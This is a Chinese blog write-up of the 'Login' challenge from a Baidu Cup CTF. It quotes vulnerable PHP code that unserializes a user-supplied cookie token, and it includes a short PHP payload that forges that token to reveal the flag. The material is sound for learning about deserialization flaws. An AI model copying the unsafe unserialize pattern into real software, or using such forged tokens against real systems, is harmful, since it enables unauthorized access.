1. 程式人生 > 其它 >“百度杯”CTF比賽 十月場_Login_WriteUp

“百度杯”CTF比賽 十月場_Login_WriteUp

開啟網站

密碼在註釋裡

登入成功

什麼東西也沒有,抓包發現response裡有show欄位
於是request一個show: 1
返回php程式碼

程式碼審計

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token'])) //token不為null
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token']))); //login的值經過反序列化、解壓縮、base64解碼,所以要構造逆序操作  
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')  //登入數組裡的元素user為ichunqiu
		{
			echo $flag; //最終的執行成功標誌
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

考點:反序列化

構造逆序操作,得到相應的值

payload

<?php

        $s =  array('user' => 'ichunqiu');
        $login =  base64_encode(gzcompress(serialize($s)));
        echo $login;
?>

在Cookie中新增token=逆序操作得到的值

獲得flag

本文來自部落格園,作者:oldliutou,轉載請註明原文連結:https://www.cnblogs.com/oldliutou/p/15629802.html